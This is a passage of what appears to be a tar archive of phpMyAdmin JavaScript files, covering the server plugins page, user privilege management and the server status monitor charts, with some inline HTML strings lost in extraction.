$('.server_databases'); $.each(tableRows, function () { $(this).on('click', function () { CommonActions.setDb($(this).attr('data')); }); }); }); // end $() src/server/plugins.js000066600000000705151724472050010675 0ustar00/** * Functions used in server plugins pages */ AJAX.registerOnload('server/plugins.js', function () { // Make columns sortable, but only for tables with more than 1 data row var $tables = $('#plugins_plugins table:has(tbody tr + tr)'); $tables.tablesorter({ sortList: [[0, 0]], headers: { 1: { sorter: false } } }); $tables.find('thead th') .append('
          '); }); src/server/privileges.js000066600000043214151724472050011367 0ustar00/** * @fileoverview functions used in server privilege pages * @name Server Privileges * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Validates the "add a user" form * * @param theForm * * @return {bool} whether the form is validated or not */ function checkAddUser (theForm) { if (theForm.elements.hostname.value === '') { alert(Messages.strHostEmpty); theForm.elements.hostname.focus(); return false; } if ((theForm.elements.pred_username && theForm.elements.pred_username.value === 'userdefined') && theForm.elements.username.value === '') { alert(Messages.strUserEmpty); theForm.elements.username.focus(); return false; } return Functions.checkPassword($(theForm)); } /** * Export privileges modal handler * * @param {object} data * * @param {JQuery} msgbox * */ function exportPrivilegesModalHandler (data, msgbox) { if (typeof data !== 'undefined' && data.success === true) { var modal = $('#exportPrivilegesModal'); // Remove any previous privilege modal data, if any modal.find('.modal-body').first().html(''); $('#exportPrivilegesModalLabel').first().html('Loading'); modal.modal('show'); modal.on('shown.bs.modal', function () { modal.find('.modal-body').first().html(data.message); $('#exportPrivilegesModalLabel').first().html(data.title); Functions.ajaxRemoveMessage(msgbox); // Attach syntax highlighted editor to export dialog Functions.getSqlEditor(modal.find('textarea')); }); return; } Functions.ajaxShowMessage(data.error, false); } /** * @implements EventListener */ const EditUserGroup = { /** * @param {MouseEvent} event */ handleEvent: function (event) { const editUserGroupModal = document.getElementById('editUserGroupModal'); const button = event.relatedTarget; const username = button.getAttribute('data-username'); $.get( 'index.php?route=/server/user-groups/edit-form', { 'username': username, 'server': CommonParams.get('server') }, data => { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false, 'error'); return; } const modal = bootstrap.Modal.getInstance(editUserGroupModal); const modalBody = editUserGroupModal.querySelector('.modal-body'); const saveButton = editUserGroupModal.querySelector('#editUserGroupModalSaveButton'); modalBody.innerHTML = data.message; saveButton.addEventListener('click', () => { const form = $(editUserGroupModal.querySelector('#changeUserGroupForm')); $.post( 'index.php?route=/server/privileges', form.serialize() + CommonParams.get('arg_separator') + 'ajax_request=1', data => { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false, 'error'); return; } const userGroup = form.serializeArray().find(el => el.name === 'userGroup').value; // button -> td -> tr -> td.usrGroup const userGroupTableCell = button.parentElement.parentElement.querySelector('.usrGroup'); userGroupTableCell.textContent = userGroup; } ); modal.hide(); }); } ); } }; /** * @implements EventListener */ const AccountLocking = { handleEvent: function () { const button = this; const isLocked = button.dataset.isLocked === 'true'; const url = isLocked ? 'index.php?route=/server/privileges/account-unlock' : 'index.php?route=/server/privileges/account-lock'; const params = { 'username': button.dataset.userName, 'hostname': button.dataset.hostName, 'ajax_request': true, 'server': CommonParams.get('server'), }; $.post(url, params, data => { if (data.success === false) { Functions.ajaxShowMessage(data.error); return; } if (isLocked) { const lockIcon = Functions.getImage('s_lock', Messages.strLock, {}).toString(); button.innerHTML = '' + lockIcon + ' ' + Messages.strLock + ''; button.title = Messages.strLockAccount; button.dataset.isLocked = 'false'; } else { const unlockIcon = Functions.getImage('s_unlock', Messages.strUnlock, {}).toString(); button.innerHTML = '' + unlockIcon + ' ' + Messages.strUnlock + ''; button.title = Messages.strUnlockAccount; button.dataset.isLocked = 'true'; } Functions.ajaxShowMessage(data.message); }); } }; /** * AJAX scripts for /server/privileges page. * * Actions ajaxified here: * Add user * Revoke a user * Edit privileges * Export privileges * Paginate table of users * Flush privileges * * @memberOf jQuery * @name document.ready */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/privileges.js', function () { $('#fieldset_add_user_login').off('change', 'input[name=\'username\']'); $(document).off('click', '#deleteUserCard .btn.ajax'); const editUserGroupModal = document.getElementById('editUserGroupModal'); if (editUserGroupModal) { editUserGroupModal.removeEventListener('show.bs.modal', EditUserGroup); } $(document).off('click', 'button.mult_submit[value=export]'); $(document).off('click', 'a.export_user_anchor.ajax'); $('button.jsAccountLocking').off('click'); $('#dropUsersDbCheckbox').off('click'); $(document).off('click', '.checkall_box'); $(document).off('change', '#checkbox_SSL_priv'); $(document).off('change', 'input[name="ssl_type"]'); $(document).off('change', '#select_authentication_plugin'); }); AJAX.registerOnload('server/privileges.js', function () { /** * Display a warning if there is already a user by the name entered as the username. */ $('#fieldset_add_user_login').on('change', 'input[name=\'username\']', function () { var username = $(this).val(); var $warning = $('#user_exists_warning'); if ($('#select_pred_username').val() === 'userdefined' && username !== '') { var href = $('form[name=\'usersForm\']').attr('action'); var params = { 'ajax_request' : true, 'server' : CommonParams.get('server'), 'validate_username' : true, 'username' : username }; $.get(href, params, function (data) { if (data.user_exists) { $warning.show(); } else { $warning.hide(); } }); } else { $warning.hide(); } }); /** * Indicating password strength */ $('#text_pma_pw').on('keyup', function () { var meterObj = $('#password_strength_meter'); var meterObjLabel = $('#password_strength'); var username = $('input[name="username"]'); username = username.val(); Functions.checkPasswordStrength($(this).val(), meterObj, meterObjLabel, username); }); /** * Automatically switching to 'Use Text field' from 'No password' once start writing in text area */ $('#text_pma_pw').on('input', function () { if ($('#text_pma_pw').val() !== '') { $('#select_pred_password').val('userdefined'); } }); $('#text_pma_change_pw').on('keyup', function () { var meterObj = $('#change_password_strength_meter'); var meterObjLabel = $('#change_password_strength'); Functions.checkPasswordStrength($(this).val(), meterObj, meterObjLabel, CommonParams.get('user')); }); /** * Display a notice if sha256_password is selected */ $(document).on('change', '#select_authentication_plugin', function () { var selectedPlugin = $(this).val(); if (selectedPlugin === 'sha256_password') { $('#ssl_reqd_warning').show(); } else { $('#ssl_reqd_warning').hide(); } }); /** * AJAX handler for 'Revoke User' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name revoke_user_click */ $(document).on('click', '#deleteUserCard .btn.ajax', function (event) { event.preventDefault(); var $thisButton = $(this); var $form = $('#usersForm'); $thisButton.confirm(Messages.strDropUserWarning, $form.attr('action'), function (url) { var $dropUsersDbCheckbox = $('#dropUsersDbCheckbox'); if ($dropUsersDbCheckbox.is(':checked')) { var isConfirmed = confirm(Messages.strDropDatabaseStrongWarning + '\n' + Functions.sprintf(Messages.strDoYouReally, 'DROP DATABASE')); if (! isConfirmed) { // Uncheck the drop users database checkbox $dropUsersDbCheckbox.prop('checked', false); } } Functions.ajaxShowMessage(Messages.strRemovingSelectedUsers); var argsep = CommonParams.get('arg_separator'); $.post(url, $form.serialize() + argsep + 'delete=' + $thisButton.val() + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); // Refresh navigation, if we dropped some databases with the name // that is the same as the username of the deleted user if ($('#dropUsersDbCheckbox:checked').length) { Navigation.reload(); } // Remove the revoked user from the users list $form.find('input:checkbox:checked').parents('tr').slideUp('medium', function () { var thisUserInitial = $(this).find('input:checkbox').val().charAt(0).toUpperCase(); $(this).remove(); // If this is the last user with thisUserInitial, remove the link from #userAccountsPagination if ($('#userRightsTable').find('input:checkbox[value^="' + thisUserInitial + '"], input:checkbox[value^="' + thisUserInitial.toLowerCase() + '"]').length === 0) { $('#userAccountsPagination') .find('.page-item > .page-link:contains(' + thisUserInitial + ')') .parent('.page-item') .addClass('disabled') .html('' + thisUserInitial + ''); } // Re-check the classes of each row $form .find('tbody').find('tr').each(function (index) { if (index >= 0 && index % 2 === 0) { $(this).removeClass('odd').addClass('even'); } else if (index >= 0 && index % 2 !== 0) { $(this).removeClass('even').addClass('odd'); } }); // update the checkall checkbox $(Functions.checkboxesSel).trigger('change'); }); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }); // end Revoke User const editUserGroupModal = document.getElementById('editUserGroupModal'); if (editUserGroupModal) { editUserGroupModal.addEventListener('show.bs.modal', EditUserGroup); } /** * AJAX handler for 'Export Privileges' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name export_user_click */ $(document).on('click', 'button.mult_submit[value=export]', function (event) { event.preventDefault(); // can't export if no users checked if ($(this.form).find('input:checked').length === 0) { Functions.ajaxShowMessage(Messages.strNoAccountSelected, 2000, 'success'); return; } var msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); var serverId = CommonParams.get('server'); var selectedUsers = $('#usersForm input[name*=\'selected_usr\']:checkbox').serialize(); var postStr = selectedUsers + '&submit_mult=export' + argsep + 'ajax_request=true&server=' + serverId; $.post($(this.form).prop('action'), postStr, function (data) { exportPrivilegesModalHandler(data, msgbox); }); // end $.post }); // if exporting non-ajax, highlight anyways Functions.getSqlEditor($('textarea.export')); $(document).on('click', 'a.export_user_anchor.ajax', function (event) { event.preventDefault(); var msgbox = Functions.ajaxShowMessage(); $.get($(this).attr('href'), { 'ajax_request': true }, function (data) { exportPrivilegesModalHandler(data, msgbox); }); // end $.get }); // end export privileges $('button.jsAccountLocking').on('click', AccountLocking.handleEvent); $(document).on('change', 'input[name="ssl_type"]', function () { var $div = $('#specified_div'); if ($('#ssl_type_SPECIFIED').is(':checked')) { $div.find('input').prop('disabled', false); } else { $div.find('input').prop('disabled', true); } }); $(document).on('change', '#checkbox_SSL_priv', function () { var $div = $('#require_ssl_div'); if ($(this).is(':checked')) { $div.find('input').prop('disabled', false); $('#ssl_type_SPECIFIED').trigger('change'); } else { $div.find('input').prop('disabled', true); } }); $('#checkbox_SSL_priv').trigger('change'); /* * Create submenu for simpler interface */ var addOrUpdateSubmenu = function () { var $subNav = $('.nav-pills'); var $editUserDialog = $('#edit_user_dialog'); var submenuLabel; var submenuLink; var linkNumber; // if submenu exists yet, remove it first if ($subNav.length > 0) { $subNav.remove(); } // construct a submenu from the existing fieldsets $subNav = $('
            ').prop('class', 'nav nav-pills m-2'); $('#edit_user_dialog .submenu-item').each(function () { submenuLabel = $(this).find('legend[data-submenu-label]').data('submenu-label'); submenuLink = $('') .prop('class', 'nav-link') .prop('href', '#') .html(submenuLabel); $('
          • ') .prop('class', 'nav-item') .append(submenuLink) .appendTo($subNav); }); // click handlers for submenu $subNav.find('a').on('click', function (e) { e.preventDefault(); // if already active, ignore click if ($(this).hasClass('active')) { return; } $subNav.find('a').removeClass('active'); $(this).addClass('active'); // which section to show now? linkNumber = $subNav.find('a').index($(this)); // hide all sections but the one to show $('#edit_user_dialog .submenu-item').hide().eq(linkNumber).show(); }); // make first menu item active // TODO: support URL hash history $subNav.find('> :first-child a').addClass('active'); $editUserDialog.prepend($subNav); // hide all sections but the first $('#edit_user_dialog .submenu-item').hide().eq(0).show(); // scroll to the top $('html, body').animate({ scrollTop: 0 }, 'fast'); }; $('input.autofocus').trigger('focus'); $(Functions.checkboxesSel).trigger('change'); Functions.displayPasswordGenerateButton(); if ($('#edit_user_dialog').length > 0) { addOrUpdateSubmenu(); } /** * Select all privileges * * @param {HTMLElement} e * @return {void} */ var tableSelectAll = function (e) { const method = e.target.getAttribute('data-select-target'); var options = $(method).first().children(); options.each(function (_, obj) { obj.selected = true; }); }; $('#select_priv_all').on('click', tableSelectAll); $('#insert_priv_all').on('click', tableSelectAll); $('#update_priv_all').on('click', tableSelectAll); $('#references_priv_all').on('click', tableSelectAll); var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', (windowWidth - 35) + 'px'); $('#addUsersForm').on('submit', function () { return checkAddUser(this); }); $('#copyUserForm').on('submit', function () { return checkAddUser(this); }); }); src/server/status/monitor.js000066600000260266151724472060012241 0ustar00/** * @fileoverview Javascript functions used in server status monitor page * @name Server Status Monitor * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /* global isStorageSupported */ // js/config.js /* global codeMirrorEditor:writable */ // js/functions.js /* global firstDayOfCalendar, themeImagePath */ // templates/javascript/variables.twig /* global variableNames */ // templates/server/status/monitor/index.twig var runtime = {}; var serverTimeDiff; var serverOs; var isSuperUser; var serverDbIsLocal; var chartSize; var monitorSettings; function serverResponseError () { var btns = { [Messages.strReloadPage]: { text: Messages.strReloadPage, class: 'btn btn-primary', click: function () { window.location.reload(); }, }, }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strRefreshFailed }); $('#emptyDialog').html( Functions.getImage('s_attention') + Messages.strInvalidResponseExplanation ); $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, buttons: btns }); } /** * Destroys all monitor related resources */ function destroyGrid () { if (runtime.charts) { $.each(runtime.charts, function (key, value) { try { value.chart.destroy(); } catch (err) { // continue regardless of error } }); } try { runtime.refreshRequest.abort(); } catch (err) { // continue regardless of error } try { clearTimeout(runtime.refreshTimeout); } catch (err) { // continue regardless of error } $('#chartGrid').html(''); runtime.charts = null; runtime.chartAI = 0; monitorSettings = null; } AJAX.registerOnload('server/status/monitor.js', function () { var $jsDataForm = $('#js_data'); serverTimeDiff = new Date().getTime() - $jsDataForm.find('input[name=server_time]').val(); serverOs = $jsDataForm.find('input[name=server_os]').val(); isSuperUser = $jsDataForm.find('input[name=is_superuser]').val(); serverDbIsLocal = $jsDataForm.find('input[name=server_db_isLocal]').val(); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/monitor.js', function () { $('#emptyDialog').remove(); $('a.popupLink').off('click'); $('body').off('click'); }); /** * Popup behaviour */ AJAX.registerOnload('server/status/monitor.js', function () { $('
            ') .attr('id', 'emptyDialog') .appendTo('#page_content'); $('a.popupLink').on('click', function () { var $link = $(this); $('div.' + $link.attr('href').substr(1)) .show() .offset({ top: $link.offset().top + $link.height() + 5, left: $link.offset().left }) .addClass('openedPopup'); return false; }); $('body').on('click', function (event) { $('div.openedPopup').each(function () { var $cnt = $(this); var pos = $cnt.offset(); // Hide if the mouseclick is outside the popupcontent if (event.pageX > pos.left + $cnt.outerWidth() || event.pageY > pos.top + $cnt.outerHeight() ) { $cnt.hide().removeClass('openedPopup'); } }); }); }); AJAX.registerTeardown('server/status/monitor.js', function () { $('a[href="#rearrangeCharts"], a[href="#endChartEditMode"]').off('click'); $('div.popupContent select[name="chartColumns"]').off('change'); $('div.popupContent select[name="gridChartRefresh"]').off('change'); $('a[href="#addNewChart"]').off('click'); $('a[href="#exportMonitorConfig"]').off('click'); $('a[href="#importMonitorConfig"]').off('click'); $('a[href="#clearMonitorConfig"]').off('click'); $('a[href="#pauseCharts"]').off('click'); $('a[href="#monitorInstructionsDialog"]').off('click'); $('input[name="chartType"]').off('click'); $('input[name="useDivisor"]').off('click'); $('input[name="useUnit"]').off('click'); $('select[name="varChartList"]').off('click'); $('a[href="#kibDivisor"]').off('click'); $('a[href="#mibDivisor"]').off('click'); $('a[href="#submitClearSeries"]').off('click'); $('a[href="#submitAddSeries"]').off('click'); // $("input#variableInput").destroy(); $('#chartPreset').off('click'); $('#chartStatusVar').off('click'); destroyGrid(); }); AJAX.registerOnload('server/status/monitor.js', function () { // Show tab links $('div.tabLinks').show(); $('#loadingMonitorIcon').remove(); // Codemirror is loaded on demand so we might need to initialize it if (! codeMirrorEditor) { var $elm = $('#sqlquery'); if ($elm.length > 0 && typeof CodeMirror !== 'undefined') { codeMirrorEditor = CodeMirror.fromTextArea( $elm[0], { lineNumbers: true, matchBrackets: true, indentUnit: 4, mode: 'text/x-mysql', lineWrapping: true } ); } } // Timepicker is loaded on demand so we need to initialize // datetime fields from the 'load log' dialog $('#logAnalyseDialog').find('.datetimefield').each(function () { Functions.addDatepicker($(this)); }); /** ** Monitor charting implementation ****/ /* Saves the previous ajax response for differential values */ var oldChartData = null; // Holds about to be created chart var newChart = null; var chartSpacing; // Whenever the monitor object (runtime.charts) or the settings object // (monitorSettings) changes in a way incompatible to the previous version, // increase this number. It will reset the users monitor and settings object // in their localStorage to the default configuration var monitorProtocolVersion = '1.0'; // Runtime parameter of the monitor, is being fully set in initGrid() runtime = { // Holds all visible charts in the grid charts: null, // Stores the timeout handler so it can be cleared refreshTimeout: null, // Stores the GET request to refresh the charts refreshRequest: null, // Chart auto increment chartAI: 0, // To play/pause the monitor redrawCharts: false, // Object that contains a list of nodes that need to be retrieved // from the server for chart updates dataList: [], // Current max points per chart (needed for auto calculation) gridMaxPoints: 20, // displayed time frame xmin: -1, xmax: -1 }; monitorSettings = null; var defaultMonitorSettings = { columns: 3, chartSize: { width: 295, height: 250 }, // Max points in each chart. Settings it to 'auto' sets // gridMaxPoints to (chartwidth - 40) / 12 gridMaxPoints: 'auto', /* Refresh rate of all grid charts in ms */ gridRefresh: 5000 }; // Allows drag and drop rearrange and print/edit icons on charts var editMode = false; /* List of preconfigured charts that the user may select */ var presetCharts = { // Query cache efficiency 'qce': { title: Messages.strQueryCacheEfficiency, series: [{ label: Messages.strQueryCacheEfficiency }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Qcache_hits' }, { type: 'statusvar', name: 'Com_select' }], transformFn: 'qce' }], maxYLabel: 0 }, // Query cache usage 'qcu': { title: Messages.strQueryCacheUsage, series: [{ label: Messages.strQueryCacheUsed }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Qcache_free_memory' }, { type: 'servervar', name: 'query_cache_size' }], transformFn: 'qcu' }], maxYLabel: 0 } }; // time span selection var selectionTimeDiff = []; var selectionStartX; var selectionStartY; var drawTimeSpan = false; /* Add OS specific system info charts to the preset chart list */ switch (serverOs) { case 'WINNT': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'loadavg' }] }], maxYLabel: 100 }, 'memory': { title: Messages.strSystemMemory, series: [{ dataType: 'memory', label: Messages.strUsedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], valueDivisor: 1024 } ], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [{ label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 } ], maxYLabel: 0 } }); break; case 'Linux': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'irrelevant' }], transformFn: 'cpu-linux' }], maxYLabel: 0 }, 'memory': { title: Messages.strSystemMemory, series: [ { label: Messages.strBufferedMemory, fill: true }, { label: Messages.strUsedMemory, fill: true }, { label: Messages.strCachedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true } ], nodes: [ { dataPoints: [{ type: 'memory', name: 'Buffers' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'Cached' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], valueDivisor: 1024 } ], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [ { label: Messages.strCachedSwap, fill: true }, { label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true } ], nodes: [ { dataPoints: [{ type: 'memory', name: 'SwapCached' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 } ], maxYLabel: 0 } }); break; case 'SunOS': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'loadavg' }] }], maxYLabel: 0 }, 'memory': { title: Messages.strSystemMemory, series: [ { label: Messages.strUsedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true } ], nodes: [ { dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], valueDivisor: 1024 } ], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [ { label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true } ], nodes: [ { dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 } ], maxYLabel: 0 } }); break; } // Default setting for the chart grid var defaultChartGrid = { 'c0': { title: Messages.strQuestions, series: [ { label: Messages.strQuestions } ], nodes: [ { dataPoints: [{ type: 'statusvar', name: 'Questions' }], display: 'differential' } ], maxYLabel: 0 }, 'c1': { title: Messages.strChartConnectionsTitle, series: [ { label: Messages.strConnections }, { label: Messages.strProcesses } ], nodes: [ { dataPoints: [{ type: 'statusvar', name: 'Connections' }], display: 'differential' }, { dataPoints: [{ type: 'proc', name: 'processes' }] } ], maxYLabel: 0 }, 'c2': { title: Messages.strTraffic, series: [ { label: Messages.strBytesSent }, { label: Messages.strBytesReceived } ], nodes: [ { dataPoints: [{ type: 'statusvar', name: 'Bytes_sent' }], display: 'differential', valueDivisor: 1024 }, { dataPoints: [{ type: 'statusvar', name: 'Bytes_received' }], display: 'differential', valueDivisor: 1024 } ], maxYLabel: 0 } }; // Server is localhost => We can add cpu/memory/swap to the default chart if (serverDbIsLocal && typeof presetCharts.cpu !== 'undefined') { defaultChartGrid.c3 = presetCharts.cpu; defaultChartGrid.c4 = presetCharts.memory; defaultChartGrid.c5 = presetCharts.swap; } $('a[href="#rearrangeCharts"], a[href="#endChartEditMode"]').on('click', function (event) { event.preventDefault(); editMode = !editMode; if ($(this).attr('href') === '#endChartEditMode') { editMode = false; } $('a[href="#endChartEditMode"]').toggle(editMode); if (editMode) { // Close the settings popup $('div.popupContent').hide().removeClass('openedPopup'); $('#chartGrid').sortableTable({ ignoreRect: { top: 8, left: chartSize.width - 63, width: 54, height: 24 } }); } else { $('#chartGrid').sortableTable('destroy'); } saveMonitor(); // Save settings return false; }); // global settings $('div.popupContent select[name="chartColumns"]').on('change', function () { monitorSettings.columns = parseInt(this.value, 10); calculateChartSize(); // Empty cells should keep their size so you can drop onto them $('#chartGrid').find('tr td').css('width', chartSize.width + 'px'); $('#chartGrid').find('.monitorChart').css({ width: chartSize.width + 'px', height: chartSize.height + 'px' }); /* Reorder all charts that it fills all column cells */ var numColumns; var $tr = $('#chartGrid').find('tr').first(); var tempManageCols = function () { if (numColumns > monitorSettings.columns) { if ($tr.next().length === 0) { $tr.after(''); } $tr.next().prepend($(this)); } numColumns++; }; var tempAddCol = function () { if ($(this).next().length !== 0) { $(this).append($(this).next().find('td').first()); } }; while ($tr.length !== 0) { numColumns = 1; // To many cells in one row => put into next row $tr.find('td').each(tempManageCols); // To little cells in one row => for each cell to little, // move all cells backwards by 1 if ($tr.next().length > 0) { var cnt = monitorSettings.columns - $tr.find('td').length; for (var i = 0; i < cnt; i++) { $tr.append($tr.next().find('td').first()); $tr.nextAll().each(tempAddCol); } } $tr = $tr.next(); } if (monitorSettings.gridMaxPoints === 'auto') { runtime.gridMaxPoints = Math.round((chartSize.width - 40) / 12); } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; if (editMode) { $('#chartGrid').sortableTable('refresh'); } refreshChartGrid(); saveMonitor(); // Save settings }); $('div.popupContent select[name="gridChartRefresh"]').on('change', function () { monitorSettings.gridRefresh = parseInt(this.value, 10) * 1000; clearTimeout(runtime.refreshTimeout); if (runtime.refreshRequest) { runtime.refreshRequest.abort(); } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; // fixing chart shift towards left on refresh rate change // runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; runtime.refreshTimeout = setTimeout(refreshChartGrid, monitorSettings.gridRefresh); saveMonitor(); // Save settings }); $('a[href="#addNewChart"]').on('click', function (event) { event.preventDefault(); $('#addChartButton').on('click', function () { var type = $('input[name="chartType"]:checked').val(); if (type === 'preset') { newChart = presetCharts[$('#addChartModal').find('select[name="presetCharts"]').prop('value')]; } else { // If user builds their own chart, it's being set/updated // each time they add a series // So here we only warn if they didn't add a series yet if (! newChart || ! newChart.nodes || newChart.nodes.length === 0) { alert(Messages.strAddOneSeriesWarning); return; } } newChart.title = $('input[name="chartTitle"]').val(); // Add a cloned object to the chart grid addChart($.extend(true, {}, newChart)); newChart = null; saveMonitor(); // Save settings $('#closeModalButton').off('click'); }); $('#closeModalButton').on('click', function () { newChart = null; $('span#clearSeriesLink').hide(); $('#seriesPreview').html(''); $('#closeModalButton').off('click'); }); var $presetList = $('#addChartModal').find('select[name="presetCharts"]'); if ($presetList.html().length === 0) { $.each(presetCharts, function (key, value) { $presetList.append(''); }); $presetList.on('change', function () { $('input[name="chartTitle"]').val( $presetList.find(':selected').text() ); $('#chartPreset').prop('checked', true); }); $('#chartPreset').on('click', function () { $('input[name="chartTitle"]').val( $presetList.find(':selected').text() ); }); $('#chartStatusVar').on('click', function () { $('input[name="chartTitle"]').val( $('#chartSeries').find(':selected').text().replace(/_/g, ' ') ); }); $('#chartSeries').on('change', function () { $('input[name="chartTitle"]').val( $('#chartSeries').find(':selected').text().replace(/_/g, ' ') ); }); } $('#addChartModal').modal('show'); $('#seriesPreview').html('' + Messages.strNone + ''); return false; }); $('a[href="#exportMonitorConfig"]').on('click', function (event) { event.preventDefault(); var gridCopy = {}; $.each(runtime.charts, function (key, elem) { gridCopy[key] = {}; gridCopy[key].nodes = elem.nodes; gridCopy[key].series = elem.series; gridCopy[key].settings = elem.settings; gridCopy[key].title = elem.title; gridCopy[key].maxYLabel = elem.maxYLabel; }); var exportData = { monitorCharts: gridCopy, monitorSettings: monitorSettings }; var blob = new Blob([JSON.stringify(exportData)], { type: 'application/octet-stream' }); var url = null; var fileName = 'monitor-config.json'; if (window.navigator && window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob(blob, fileName); } else { url = URL.createObjectURL(blob); window.location.href = url; } setTimeout(function () { // For some browsers it is necessary to delay revoking the ObjectURL if (url !== null) { window.URL.revokeObjectURL(url); } url = undefined; blob = undefined; }, 100); }); $('a[href="#importMonitorConfig"]').on('click', function (event) { event.preventDefault(); $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strImportDialogTitle }); $('#emptyDialog').html(Messages.strImportDialogMessage + '
            ' + '
            '); var dlgBtns = { [Messages.strImport]: { text: Messages.strImport, class: 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary', }, }; dlgBtns[Messages.strImport].click = function () { var input = $('#emptyDialog').find('#import_file')[0]; var reader = new FileReader(); reader.onerror = function (event) { alert(Messages.strFailedParsingConfig + '\n' + event.target.error.code); }; reader.onload = function (e) { var data = e.target.result; var json = null; // Try loading config try { json = JSON.parse(data); } catch (err) { alert(Messages.strFailedParsingConfig); $('#emptyDialog').dialog('close'); return; } // Basic check, is this a monitor config json? if (!json || ! json.monitorCharts || ! json.monitorCharts) { alert(Messages.strFailedParsingConfig); $('#emptyDialog').dialog('close'); return; } // If json ok, try applying config try { if (isStorageSupported('localStorage')) { window.localStorage.monitorCharts = JSON.stringify(json.monitorCharts); window.localStorage.monitorSettings = JSON.stringify(json.monitorSettings); } rebuildGrid(); } catch (err) { alert(Messages.strFailedBuildingGrid); // If an exception is thrown, load default again if (isStorageSupported('localStorage')) { window.localStorage.removeItem('monitorCharts'); window.localStorage.removeItem('monitorSettings'); } rebuildGrid(); } $('#emptyDialog').dialog('close'); }; reader.readAsText(input.files[0]); }; dlgBtns[Messages.strCancel].click = function () { $(this).dialog('close'); }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); }); $('a[href="#clearMonitorConfig"]').on('click', function (event) { event.preventDefault(); if (isStorageSupported('localStorage')) { window.localStorage.removeItem('monitorCharts'); window.localStorage.removeItem('monitorSettings'); window.localStorage.removeItem('monitorVersion'); } $(this).hide(); rebuildGrid(); }); $('a[href="#pauseCharts"]').on('click', function (event) { event.preventDefault(); runtime.redrawCharts = ! runtime.redrawCharts; if (! runtime.redrawCharts) { $(this).html(Functions.getImage('play') + Messages.strResumeMonitor); } else { $(this).html(Functions.getImage('pause') + Messages.strPauseMonitor); if (! runtime.charts) { initGrid(); $('a[href="#settingsPopup"]').show(); } } return false; }); $('a[href="#monitorInstructionsDialog"]').on('click', function (event) { event.preventDefault(); var $dialog = $('#monitorInstructionsDialog'); var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close'); } }, }; $dialog.dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: '60%', height: 'auto', buttons: dlgBtns }).find('img.ajaxIcon').show(); var loadLogVars = function (getvars) { var vars = { 'ajax_request': true, 'server': CommonParams.get('server') }; if (getvars) { $.extend(vars, getvars); } $.post('index.php?route=/server/status/monitor/log-vars', vars, function (data) { var logVars; if (typeof data !== 'undefined' && data.success === true) { logVars = data.message; } else { return serverResponseError(); } var icon = Functions.getImage('s_success'); var msg = ''; var str = ''; if (logVars.general_log === 'ON') { if (logVars.slow_query_log === 'ON') { msg = 